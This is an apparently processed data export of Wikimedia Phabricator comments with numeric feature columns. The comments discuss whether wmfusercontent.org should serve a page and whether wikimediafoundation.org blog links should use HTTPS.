I think the question is, why?  There was some IRC discussion on this before.  It doesn't really prove anything, and we're not publishing or linking those hostnames anywhere.  This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?",,,1442006450,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,1.0,1.5,1.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.5,1.5,1.0,8.0,7.5,2.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,3.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,2.5,2.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,8.5,1.5,3.0,7.5,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,4.0,7.5,3.0,1.5,0.0,0.0,4.0,0.0,1.5,2.5,0.0,1.5,0.0,0.0,0.0,3.9257552483358937,0.7768817204301075,"QUOTE
QUOTE

Again, this issue has nothing to do with HTTPS/TLS issues.  It's all fine on that level, yes.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think the question is, why?  There was some IRC discussion on this before.  It doesn't really prove anything, and we're not publishing or linking those hostnames anywhere.  This seems to be satisfy pointless curiosity of users who look at a browser developer console and wonder about an internally-used domainname, then try a completely different hostname from that domain in their browser and get annoyed that it doesn't do anything?"
525633,(www.)wmfusercontent.org should respond to HTTP,"https://phab.wmfusercontent.org is served with a wildward certificate. So we do have one. And phab.wmfusercontent.org is served from varnish/misc so presumably the certificates is already installed as well.

Pointing wmfusercontent.org there would solve this I think. Given the below works:
 
```
$ curl 'https://phab.wmfusercontent.org' -H 'Host: wmfusercontent.org'
> ... Error: 404, Domain not served here ..
```

It's not forensic proof, but it's a courtesy to our users. (Perhaps akin to <https://www.gstatic.com> or <https://googleapis.com>)",,,1442006112,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,14.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,3.9743589743589745,0.7692307692307693,"URL is served with a wildward certificate. So we do have one. And phab.wmfusercontent.org is served from varnish/misc so presumably the certificates is already installed as well.

Pointing wmfusercontent.org there would solve this I think. Given the below works:
 
``CODE``

It's not forensic proof, but it's a courtesy to our users. (Perhaps akin to <URL or <URL"
525520,(www.)wmfusercontent.org should respond to HTTP,"There's some confusion here due to the use of ""HTTP"".  This issue isn't about protocol (HTTP vs HTTPS).  It's just about whether, if a user were to browse to `https://www.wmfusercontent.org` (or the root domain as `https://wmfusercontent.org`), there should actually be an HTML page there, or some other indication of the domain's legitimacy or purpose.  Right now there is no address for that, and users would have to type or guess or `https://www.wmfusercontent.org` based on investigating that they saw the browser load some content from `phab.wmfusercontent.org`.

It sounds nice on the surface, but honestly it doesn't prove anything to the user in any legitimate sense, so it seems wasteful to even set it up.",,,1442000434,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,2.5,0.5,0.0,0.0,1.0,2.5,1.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,1.5,0.0,0.5,6.0,14.0,0.5,2.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,3.0,3.5,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,4.5,2.0,7.5,2.5,4.5,9.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,4.0,14.0,3.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.62008281573499,0.741407867494824,"There's some confusion here due to the use of ""HTTP"".  This issue isn't about protocol (HTTP vs HTTPS).  It's just about whether, if a user were to browse to CODE (or the root domain as CODE), there should actually be an HTML page there, or some other indication of the domain's legitimacy or purpose.  Right now there is no address for that, and users would have to type or guess or CODE based on investigating that they saw the browser load some content from CODE.

It sounds nice on the surface, but honestly it doesn't prove anything to the user in any legitimate sense, so it seems wasteful to even set it up."
525500,(www.)wmfusercontent.org should respond to HTTP,"That having an HTTP page was a good solution or even a desired one (because the lack of TLS). I didn't participate on the discussion, though, not remember it very well, but I wanted to reflect the reality ""no one is working on this"" by lowering the priority.",,,1441998825,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,2.0,0.0,3.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,3.0,9.0,2.0,3.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.6379310344827585,0.8103448275862069,"That having an HTTP page was a good solution or even a desired one (because the lack of TLS). I didn't participate on the discussion, though, not remember it very well, but I wanted to reflect the reality ""no one is working on this"" by lowering the priority."
525496,(www.)wmfusercontent.org should respond to HTTP,">>! In T104735#1631506, @jcrespo wrote:
> I want to remember there was some disagreement on this issue.

What disagreement?",,,1441998629,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8571428571428571,"QUOTE
QUOTE

What disagreement?"
525411,(www.)wmfusercontent.org should respond to HTTP,I want to remember there was some disagreement on this issue.,,,1441993701,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,True,,,10,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,I want to remember there was some disagreement on this issue.
486856,(www.)wmfusercontent.org should respond to HTTP,"Change 222860 abandoned by John F. Lewis:
(www.)wmfusercontent.org point to text-lb

[[https://gerrit.wikimedia.org/r/222860]]",,,1436137699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.9090909090909091,"Change 222860 abandoned by John F. Lewis:
(www.)wmfusercontent.org point to text-lb

[[GERRIT_URL]]"
486639,(www.)wmfusercontent.org should respond to HTTP,"Change 222860 had a related patch set uploaded (by John F. Lewis):
(www.)wmfusercontent.org point to text-lb

[[https://gerrit.wikimedia.org/r/222860]]
",,,1436051311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8275862068965516,0.8620689655172413,"Change 222860 had a related patch set uploaded (by John F. Lewis):
(www.)wmfusercontent.org point to text-lb

[[GERRIT_URL]]
"
486638,(www.)wmfusercontent.org should respond to HTTP,"Change 222859 abandoned by John F. Lewis:
(www.)wmfusercontent.org point to text-lb

[[https://gerrit.wikimedia.org/r/222859]]",,,1436051217,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.090909090909091,0.9090909090909091,"Change 222859 abandoned by John F. Lewis:
(www.)wmfusercontent.org point to text-lb

[[GERRIT_URL]]"
486637,(www.)wmfusercontent.org should respond to HTTP,"Change 222859 had a related patch set uploaded (by John F. Lewis):
(www.)wmfusercontent.org point to text-lb

[[https://gerrit.wikimedia.org/r/222859]]
",,,1436050967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdvc4fmje2hpcwdo3226,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8275862068965516,0.8620689655172413,"Change 222859 had a related patch set uploaded (by John F. Lewis):
(www.)wmfusercontent.org point to text-lb

[[GERRIT_URL]]
"
104728,make blog links from wmfwiki front page use HTTPS links,"https://wikimediafoundation.org/wiki/Home#Recent_Wikimedia_blog_posts

make blog links from wmfwiki front page use HTTPS links.

should we also make the blog force HTTPS too now that the wikis are?",Low,25.0,1435950137,1471634159.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-tafu2uuupsf2oupzja23,True,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_description,resolved,True,c3,3,False,False,False,0,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7586206896551726,0.7931034482758621,"URL

make blog links from wmfwiki front page use HTTPS links.

should we also make the blog force HTTPS too now that the wikis are?"
618415,make blog links from wmfwiki front page use HTTPS links,"It's marked as a blocker.

And needs someone to make upstream actually do it.",,,1456456912,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.9444444444444444,"It's marked as a blocker.

And needs someone to make upstream actually do it."
618414,make blog links from wmfwiki front page use HTTPS links,"Oh, I see. So maybe this should be marked as a duplicate.",,,1456456760,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.9333333333333333,"Oh, I see. So maybe this should be marked as a duplicate."
618413,make blog links from wmfwiki front page use HTTPS links,"yes, it's T104726",,,1456456699,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"yes, it's T104726"
618412,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065750, @Krenair wrote:
> They all show as HTTP links now.

I have no idea what is going on. It seems to have been caused by the publication of a new blogpost?

In any case, I think this is caused by the feed itself (https://blog.wikimedia.org/feed/) outputting links in HTTP, not too sure what can be done about that.",,,1456456646,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,2.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,14.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,14.0,2.0,2.0,0.0,0.0,7.0,0.0,3.0,2.0,2.0,3.0,0.0,0.0,0.0,3.3793103448275863,0.8103448275862069,"QUOTE
QUOTE

I have no idea what is going on. It seems to have been caused by the publication of a new blogpost?

In any case, I think this is caused by the feed itself (URL outputting links in HTTP, not too sure what can be done about that."
618407,make blog links from wmfwiki front page use HTTPS links,They all show as HTTP links now.,,,1456455662,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,They all show as HTTP links now.
618398,make blog links from wmfwiki front page use HTTPS links,They all look like HTTPS links to me now. I think something must have changed on the blog side.,,,1456452067,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,They all look like HTTPS links to me now. I think something must have changed on the blog side.
618349,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065314, @jrbs wrote:
>>>! In T104728#2065282, @Dzahn wrote:
>> Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?
> 
> It looks to me like @Krenair's change has fixed this issue as it is described.

Looking at the main page, the last two entries had HTTPS links, but not the previous ones? Did something change on the blog/Automattic's end?",,,1456445753,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,22.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.6341463414634148,0.7073170731707317,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Looking at the main page, the last two entries had HTTPS links, but not the previous ones? Did something change on the blog/Automattic's end?"
618330,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065282, @Dzahn wrote:
> Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?

Traffic was added via bulk edit and that causes Herald to add Operations...",,,1456444633,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,28.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.9444444444444444,"QUOTE
QUOTE

Traffic was added via bulk edit and that causes Herald to add Operations..."
618328,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065282, @Dzahn wrote:
> Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?

It looks to me like @Krenair's change has fixed this issue as it is described.",,,1456444544,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.95,"QUOTE
QUOTE

It looks to me likeSCREEN_NAME's change has fixed this issue as it is described."
618318,make blog links from wmfwiki front page use HTTPS links,"Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?",,,1456443639,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,18.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,4.0588235294117645,0.9705882352941176,"Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?"
599819,make blog links from wmfwiki front page use HTTPS links,"And also https://wikimediafoundation.org/w/index.php?title=Spotlight_on_Wikimedia_Commons/Updates&diff=104830&oldid=92778 - but interestingly, that appears to have made it generate HTTPS links?",,,1454076235,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,1.0,"And also URL - but interestingly, that appears to have made it generate HTTPS links?"
